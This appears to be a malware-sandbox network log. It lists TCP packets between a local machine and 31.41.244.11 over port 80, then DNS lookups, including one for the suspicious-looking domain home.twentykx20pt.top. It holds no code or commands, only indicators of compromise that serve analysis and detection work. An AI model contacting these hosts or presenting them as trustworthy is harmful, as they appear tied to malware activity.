Nov 30, 2024 09:45:11.554163933 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.554413080 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.555160046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.555234909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.555407047 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.555461884 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.556329966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.556411982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.556566954 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.556612968 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.557488918 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.557547092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.557732105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.557779074 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.558666945 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.558729887 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.558896065 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.558945894 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.559844971 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.560106993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.560183048 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.561037064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.561084032 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.561259031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.561300039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.562294960 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.562340021 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.562462091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.562501907 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.563361883 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.563621044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.563667059 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.564552069 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.564626932 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.564800978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.564851046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.565742970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.565792084 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.566019058 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.566063881 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.566888094 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.566937923 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.567254066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.568090916 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.568152905 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.568317890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.568367004 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.569227934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.569272995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.569473982 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.569514036 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.570422888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.570473909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.570646048 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.570684910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.571577072 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.571624041 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.571820974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.571863890 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.572751045 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.572798014 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.572973967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.573019028 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.573916912 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.573964119 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.574173927 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.574218035 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.575107098 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.575156927 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.575334072 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.575377941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.576257944 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.576303005 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.576467037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.576512098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.577481985 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.577527046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.577682972 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.577729940 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.578628063 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.578692913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.578865051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.578912020 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.579787970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.579834938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.580001116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.580045938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.580976963 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.581015110 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.581212044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.581254959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.583559036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.583568096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.583609104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.585441113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.585452080 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.585601091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.587248087 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.587259054 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.587301016 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.589270115 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.589281082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.589318991 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.590287924 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.590334892 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.591284990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.591327906 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.593377113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.593487024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.594286919 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.594331026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.595331907 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.595343113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.595376968 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.597333908 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.597345114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.597379923 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.597405910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.599360943 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.599371910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.599409103 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.600367069 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.600416899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.601345062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.601391077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.603394032 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.603404999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.603446960 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.603457928 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.605396032 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.605407000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.605452061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.607417107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.607428074 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.607496023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.608428001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.608472109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.609453917 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.609498978 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.610447884 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.610495090 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.611433983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.611479998 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.613482952 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.613495111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.613531113 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.613540888 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.615459919 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.615478039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.615504980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.615523100 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.617490053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.617501974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.617538929 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.618526936 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.618571043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.619524956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.619571924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.621530056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.621541023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.621579885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.623543024 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.623553991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.623590946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.623615026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.625575066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.625585079 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.625621080 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.626595020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.626645088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.627577066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.627619982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.748672009 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.748790979 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.748951912 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.749034882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.749336958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.749386072 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.749808073 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.749866962 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.750408888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.750456095 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.750725031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.750766039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.751591921 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.751638889 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.751894951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.751939058 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.752746105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.752791882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.752963066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.753009081 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.753942966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.753988028 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.754163980 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.754209995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.755175114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.755218983 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.755453110 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.755508900 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.756270885 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.756319046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.756490946 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.756530046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.757446051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.757488966 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.757685900 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.757733107 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.758620024 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.758665085 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.758969069 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.759015083 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.759810925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.759855986 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.760030985 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.760078907 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.760958910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.761003971 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.761207104 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.761259079 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.762140036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.762183905 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.762381077 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.762428045 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.763336897 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.763385057 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.763636112 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.763686895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.764477968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.764527082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.764720917 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.764770031 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.765688896 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.765969992 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.766009092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.766823053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.766868114 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.767060041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.767102003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.767998934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.768045902 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.768251896 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.768296003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.769200087 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.769263029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.769444942 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.769490957 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.770379066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.770423889 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.770590067 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.770632982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.771529913 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.771574974 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.771740913 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.771780968 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.772695065 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.772742987 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.772922039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.772967100 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.773869991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.773910046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.774116993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.774162054 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.775096893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.775141954 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.775373936 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.775418997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.776226044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.776273012 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.776470900 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.776516914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.777395964 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.777443886 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.777611017 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.777657986 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.778582096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.778625965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.778844118 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.778897047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.779757977 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.779798985 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.779998064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.780041933 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.780951023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.780999899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.781200886 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.781245947 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.782093048 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.782134056 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.782332897 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.782377958 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.783268929 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.783319950 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.783489943 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.783538103 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.784440041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.784485102 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.784651995 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.784698009 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.785691977 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.785738945 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.785862923 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.785906076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.786780119 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.786824942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.787020922 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.787067890 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.788006067 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.788059950 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.788222075 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.788266897 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.789122105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.789166927 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.789382935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.789428949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.790296078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.790342093 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.790535927 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.790580988 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.791460037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.791508913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.791702986 CET	80	49790	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2024 09:44:06.833230972 CET	192.168.2.4	1.1.1.1	0x5b51	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:44:06.833401918 CET	192.168.2.4	1.1.1.1	0x5776	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 09:44:13.891000986 CET	192.168.2.4	1.1.1.1	0x7a9c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:44:13.891258001 CET	192.168.2.4	1.1.1.1	0x287d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 30, 2024 09:44:14.894134045 CET	192.168.2.4	1.1.1.1	0x519b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:44:14.894443035 CET	192.168.2.4	1.1.1.1	0xbf30	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 30, 2024 09:45:19.337579966 CET	192.168.2.4	1.1.1.1	0x9408	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:19.337626934 CET	192.168.2.4	1.1.1.1	0x80a8	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 30, 2024 09:45:22.859191895 CET	192.168.2.4	1.1.1.1	0xdacd	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:22.859258890 CET	192.168.2.4	1.1.1.1	0x1049	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
